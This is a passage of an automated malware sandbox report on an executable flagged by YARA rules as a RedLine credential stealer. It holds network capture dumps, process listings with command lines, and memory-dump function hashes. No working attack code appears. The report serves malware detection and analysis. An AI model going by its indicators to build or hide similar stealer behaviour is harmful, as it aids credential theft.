2024-05-04 05:21:58 UTC	1255	IN	Data Raw: 3b 74 68 69 73 2e 73 56 3d 21 30 7d 3b 65 2e 72 65 73 6f 6c 76 65 3d 63 3b 65 2e 72 65 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 65 28 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 6c 28 68 29 7d 29 7d 3b 65 2e 72 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 65 28 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 66 6f 72 28 76 61 72 20 6d 3d 5f 2e 75 61 28 68 29 2c 6e 3d 6d 2e 6e 65 78 74 28 29 3b 21 6e 2e 64 6f 6e 65 3b 6e 3d 6d 2e 6e 65 78 74 28 29 29 63 28 6e 2e 76 61 6c 75 65 29 2e 42 79 28 6b 2c 6c 29 7d 29 7d 3b 65 2e 61 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 5f 2e 75 61 28 68 29 2c 6c 3d 6b 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 6c 2e 64 6f 6e 65 3f 63 Data Ascii: ;this.sV=!0};e.resolve=c;e.reject=function(h){return new e(function(k,l){l(h)})};e.race=function(h){return new e(function(k,l){for(var m=_.ua(h),n=m.next();!n.done;n=m.next())c(n.value).By(k,l)})};e.all=function(h){var k=_.ua(h),l=k.next();return l.done?c
2024-05-04 05:21:58 UTC	1255	IN	Data Raw: 63 74 2e 73 65 61 6c 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 6c 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 7d 29 2c 6d 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 7d 29 2c 6e 3d 6e 65 77 20 61 28 5b 5b 6c 2c 32 5d 2c 5b 6d 2c 33 5d 5d 29 3b 69 66 28 32 21 3d 6e 2e 67 65 74 28 6c 29 7c 7c 33 21 3d 6e 2e 67 65 74 28 6d 29 29 72 65 74 75 72 6e 21 31 3b 6e 2e 64 65 6c 65 74 65 28 6c 29 3b 6e 2e 73 65 74 28 6d 2c 34 29 3b 72 65 74 75 72 6e 21 6e 2e 68 61 73 28 6c 29 26 26 34 3d 3d 6e 2e 67 65 74 28 6d 29 7d 63 61 74 63 68 28 70 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 0a 76 61 72 20 66 3d 22 24 6a 73 63 6f 6d 70 5f 68 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 65 28 22 66 72 65 65 7a 65 22 29 3b Data Ascii: ct.seal)return!1;try{var l=Object.seal({}),m=Object.seal({}),n=new a([[l,2],[m,3]]);if(2!=n.get(l)\|\|3!=n.get(m))return!1;n.delete(l);n.set(m,4);return!n.has(l)&&4==n.get(m)}catch(p){return!1}}())return a;var f="$jscomp_hidden_"+Math.random();e("freeze");
2024-05-04 05:21:58 UTC	1255	IN	Data Raw: 20 62 3d 6e 65 77 20 57 65 61 6b 4d 61 70 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 0a 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 3b 69 66 28 6b 29 7b 6b 3d 5f 2e 75 61 28 6b 29 3b 66 6f 72 28 76 61 72 20 6c 3b 21 28 6c 3d 6b 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6c 3d 6c 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6c 5b 30 5d 2c 6c 5b 31 5d 29 7d 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 6b 3d 30 3d 3d 3d 6b 3f 30 3a 6b 3b 76 61 72 20 6d 3d 64 28 74 68 69 73 2c 6b 29 3b 6d 2e 6c 69 73 74 7c 7c 28 6d 2e 6c 69 73 74 3d 74 68 69 73 5b 30 5d 5b 6d 2e 69 64 5d 3d 5b 5d 29 3b 6d 2e 6e 66 3f 6d 2e 6e 66 2e 76 61 6c 75 65 3d 6c 3a 28 6d Data Ascii: b=new WeakMap,c=function(k){this[0]={};this[1]=f();this.size=0;if(k){k=_.ua(k);for(var l;!(l=k.next()).done;)l=l.value,this.set(l[0],l[1])}};c.prototype.set=function(k,l){k=0===k?0:k;var m=d(this,k);m.list\|\|(m.list=this[0][m.id]=[]);m.nf?m.nf.value=l:(m
2024-05-04 05:21:58 UTC	1255	IN	Data Raw: 6d 3d 62 2e 67 65 74 28 6c 29 3a 28 6d 3d 22 22 2b 20 2b 2b 68 2c 62 2e 73 65 74 28 6c 2c 6d 29 29 3a 6d 3d 22 70 5f 22 2b 6c 3b 76 61 72 20 6e 3d 6b 5b 30 5d 5b 6d 5d 3b 69 66 28 6e 26 26 76 61 28 6b 5b 30 5d 2c 6d 29 29 66 6f 72 28 6b 3d 30 3b 6b 3c 6e 2e 6c 65 6e 67 74 68 3b 6b 2b 2b 29 7b 76 61 72 20 70 3d 6e 5b 6b 5d 3b 69 66 28 6c 21 3d 3d 6c 26 26 70 2e 6b 65 79 21 3d 3d 70 2e 6b 65 79 7c 7c 6c 3d 3d 3d 70 2e 6b 65 79 29 72 65 74 75 72 6e 7b 69 64 3a 6d 2c 6c 69 73 74 3a 6e 2c 69 6e 64 65 78 3a 6b 2c 6e 66 3a 70 7d 7d 72 65 74 75 72 6e 7b 69 64 3a 6d 2c 6c 69 73 74 3a 6e 2c 69 6e 64 65 78 3a 2d 31 2c 6e 66 3a 76 6f 69 64 20 30 7d 7d 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 76 61 72 20 6d 3d 6b 5b 31 5d 3b 72 65 74 75 72 6e 20 70 61 28 66 Data Ascii: m=b.get(l):(m=""+ ++h,b.set(l,m)):m="p_"+l;var n=k[0][m];if(n&&va(k[0],m))for(k=0;k<n.length;k++){var p=n[k];if(l!==l&&p.key!==p.key\|\|l===p.key)return{id:m,list:n,index:k,nf:p}}return{id:m,list:n,index:-1,nf:void 0}},e=function(k,l){var m=k[1];return pa(f
2024-05-04 05:21:58 UTC	1255	IN	Data Raw: 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 75 72 6e 21 31 3b 66 3d 65 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 3d 3d 63 7c 7c 34 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 2e 78 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 3f 21 31 3a 65 2e 6e 65 78 74 28 29 2e 64 6f 6e 65 7d 63 61 74 63 68 28 68 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 74 68 69 73 2e 44 61 3d 6e 65 77 20 4d 61 70 3b 69 66 28 63 29 7b 63 3d Data Ascii: urn!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)return!1;f=e.next();return f.done\|\|f.value[0]==c\|\|4!=f.value[0].x\|\|f.value[1]!=f.value[0]?!1:e.next().done}catch(h){return!1}}())return a;var b=function(c){this.Da=new Map;if(c){c=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49749	23.3.84.131	443

Timestamp	Bytes transferred	Direction	Data
2024-05-04 05:22:00 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-04 05:22:00 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (sac/2518) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=178876 Date: Sat, 04 May 2024 05:22:00 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49750	23.3.84.131	443

Timestamp	Bytes transferred	Direction	Data
2024-05-04 05:22:01 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-04 05:22:01 UTC	531	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0Fz4RYwAAAACZW8dCTzveR7lI76J6Z2l5U0pDRURHRTA1MTgAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=178906 Date: Sat, 04 May 2024 05:22:01 GMT Content-Length: 55 Connection: close X-CID: 2
2024-05-04 05:22:01 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49752	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-05-04 05:22:08 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6DT7OgBYAOyMRpk&MD=mZ2RpfLb HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-04 05:22:08 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 759c0dce-4d53-4aba-bd15-205d5c79e662 MS-RequestId: 96fc6e02-137f-49ed-bc21-18ef6e61ce3b MS-CV: 8ZWBcFQ8VkCtyT0A.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 04 May 2024 05:22:07 GMT Connection: close Content-Length: 24490
2024-05-04 05:22:08 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-05-04 05:22:08 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49758	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-05-04 05:22:47 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6DT7OgBYAOyMRpk&MD=mZ2RpfLb HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-04 05:22:48 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: 61800aed-802d-4af5-84a4-0c8a9351bda2 MS-RequestId: 75f5e043-001f-4c00-a038-1075001356b3 MS-CV: Y2HJwX37G0O2PZ1H.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 04 May 2024 05:22:47 GMT Connection: close Content-Length: 25457
2024-05-04 05:22:48 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-05-04 05:22:48 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Target ID:	0
Start time:	07:21:47
Start date:	04/05/2024
Path:	C:\Users\user\Desktop\SW3uxM7BXI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SW3uxM7BXI.exe"
Imagebase:	0x3a0000
File size:	97'792 bytes
MD5 hash:	BC62AF43BEFE5B458C1E7B9E729D71AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.1584980895.00000000003A2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.1584980895.00000000003A2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000000.1584980895.00000000003A2000.00000002.00000001.01000000.00000003.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:21:47
Start date:	04/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:21:51
Start date:	04/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://%3cfnc1%3e(%08)192207080962112986271363245700090061668218406782359533476819003707/
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	07:21:52
Start date:	04/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2000,i,10893976321763395982,15945396058884010625,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	14%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	30
Total number of Limit Nodes:	1

Executed Functions

Function 05FD94C8 Relevance: 14.9, Strings: 11, Instructions: 1138COMMON

Download Yara Rule

Strings

4c^q, xrefs: 05FD9E42
Nv]q, xrefs: 05FD97D0
(_^q, xrefs: 05FD9F64
4c^q, xrefs: 05FD9E5C
$^q, xrefs: 05FD9B53
c^q, xrefs: 05FD9E7C
c^q, xrefs: 05FD9E96
(_^q, xrefs: 05FD9F7E
$^q, xrefs: 05FD9B6D
,bq, xrefs: 05FDA0E7
Hbq, xrefs: 05FDA282

Memory Dump Source

Source File: 00000000.00000002.1772987003.0000000005FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$,bq$4c^q$4c^q$Hbq$Nv]q$$^q$$^q$c^q$c^q
API String ID: 0-3459267885
Opcode ID: c895ed4715fe41bfe1857da3d6a36124ab3a9ab2954f38d72e4ec3919953c567
Instruction ID: fbce90eed6996bae65aeb395307637461133015b18f21b2331ab630d34dcc0c1
Opcode Fuzzy Hash: c895ed4715fe41bfe1857da3d6a36124ab3a9ab2954f38d72e4ec3919953c567
Instruction Fuzzy Hash: D382B431F801184FCB69EBBD455023DAAE37FCD740F6488A9D006DB394EE65CD868BA1

Uniqueness

Uniqueness Score: -1.00%

Function 05FDD8D0 Relevance: 13.2, Strings: 10, Instructions: 691
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 05FDDC10
$^q, xrefs: 05FDDC5D
$^q, xrefs: 05FDDD9F
$^q, xrefs: 05FDDC6D
4c^q, xrefs: 05FDDA27
$^q, xrefs: 05FDD9F5
4c^q, xrefs: 05FDDA31
4'^q, xrefs: 05FDDDAE
4|cq, xrefs: 05FDE1A5
4c^q, xrefs: 05FDDA15

Memory Dump Source

Source File: 00000000.00000002.1772987003.0000000005FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID: 4'^q$4c^q$4c^q$4c^q$4|cq$$^q$$^q$$^q$$^q$$^q
API String ID: 0-1675970643
Opcode ID: 82c53da0355ea7ab89b58e729422a45dff12f4e011091fdd1396a204a2b2670b
Instruction ID: 6db4f68cab7c681a1b0421f0dbe6419bbffd941a7dc656d52177205cb00f8f0b
Opcode Fuzzy Hash: 82c53da0355ea7ab89b58e729422a45dff12f4e011091fdd1396a204a2b2670b
Instruction Fuzzy Hash: B6423A75B002198FDB14DF79C894AAEBBF7BF88300F148469E40ADB265DB349D46CB61

Uniqueness

Uniqueness Score: -1.00%

Function 05FD3720 Relevance: 6.7, Strings: 5, Instructions: 469
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 05FD3B32
Hbq, xrefs: 05FD3AD0
Hbq, xrefs: 05FD3BC0
Hbq, xrefs: 05FD3B01
Hbq, xrefs: 05FD3B79

Memory Dump Source

Source File: 00000000.00000002.1772987003.0000000005FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID: Hbq$Hbq$Hbq$Hbq$Hbq
API String ID: 0-1677660839
Opcode ID: 2e2e38cc400fbb6dbe967cda8d339c10bddd298d397524c6bde056167f559646
Instruction ID: ceffa7e771bffcd85b90261b5b18b82b1d96ab254db8717698e48d0ec008358d
Opcode Fuzzy Hash: 2e2e38cc400fbb6dbe967cda8d339c10bddd298d397524c6bde056167f559646
Instruction Fuzzy Hash: 9E02B335E14256CBCB15CF75C4502ADFBB3FF85300F288A6AD505AB281DB789A85CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05FDD3C8 Relevance: 1.7, Strings: 1, Instructions: 436COMMON

Download Yara Rule

Strings

Hbq, xrefs: 05FDD7BB

Memory Dump Source

Source File: 00000000.00000002.1772987003.0000000005FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: fe2f8ff6f2cf21cffc815cc9278f1ec8ab76173108ffe3b7ac107387fb89507c
Instruction ID: 437ee566280effd6a2d6026367e5bc6ed2f11cda755a4464b11e204f9a5f3a27
Opcode Fuzzy Hash: fe2f8ff6f2cf21cffc815cc9278f1ec8ab76173108ffe3b7ac107387fb89507c
Instruction Fuzzy Hash: 9EF1B571A042668BCB15CF75C4506BDFBF7BF86300B18C56AE849EB241E778D685CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00CEE7B0 Relevance: .9, Instructions: 930COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1767453697.0000000000CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 524848da162320583187792e39cc403e751bd77980bb1d623ebfcfbc7ba3ffeb
Instruction ID: 42470916daa46183651e3cb2be472de5c803d898c87a9ec649e90e871e57e30d
Opcode Fuzzy Hash: 524848da162320583187792e39cc403e751bd77980bb1d623ebfcfbc7ba3ffeb
Instruction Fuzzy Hash: C882FB74B402588FDB14DF65D898B6DBBB2FF88301F1084A9E90A9B3A5DB349D85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 05FD4468 Relevance: .8, Instructions: 814COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1772987003.0000000005FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 570acd9b91bbc36f974a1e901f63bd45f63e2dbf78bd303b3d4b70b2de70e473
Instruction ID: 4ceea775ec3e7a4be317855f7b7d6ea53553c67d258dd03959148e45f774f46b
Opcode Fuzzy Hash: 570acd9b91bbc36f974a1e901f63bd45f63e2dbf78bd303b3d4b70b2de70e473
Instruction Fuzzy Hash: 0482B034A446528FDB64DF24D94CB6AB7F3BF84304F1441A8C80A9B36AE7749D85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 05FD1210 Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1772987003.0000000005FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 603b243021e75a79f58cc1b84f8beec55cccf36d6bc9271ab1ed755a4ca6eb02
Instruction ID: 73ee6d6288d16a669a5cc9a900f679a44b69db25d23d97cf61b141335dc61e9c
Opcode Fuzzy Hash: 603b243021e75a79f58cc1b84f8beec55cccf36d6bc9271ab1ed755a4ca6eb02
Instruction Fuzzy Hash: CFF14F78A402089FCB04EBB5C894ABEBBB7FF88301F548428E405AB355CE35AD45CF65

Uniqueness

Uniqueness Score: -1.00%

Function 05FD7768 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,05FD7626), ref: 05FD77D6

Memory Dump Source

Source File: 00000000.00000002.1772987003.0000000005FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_SW3uxM7BXI.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
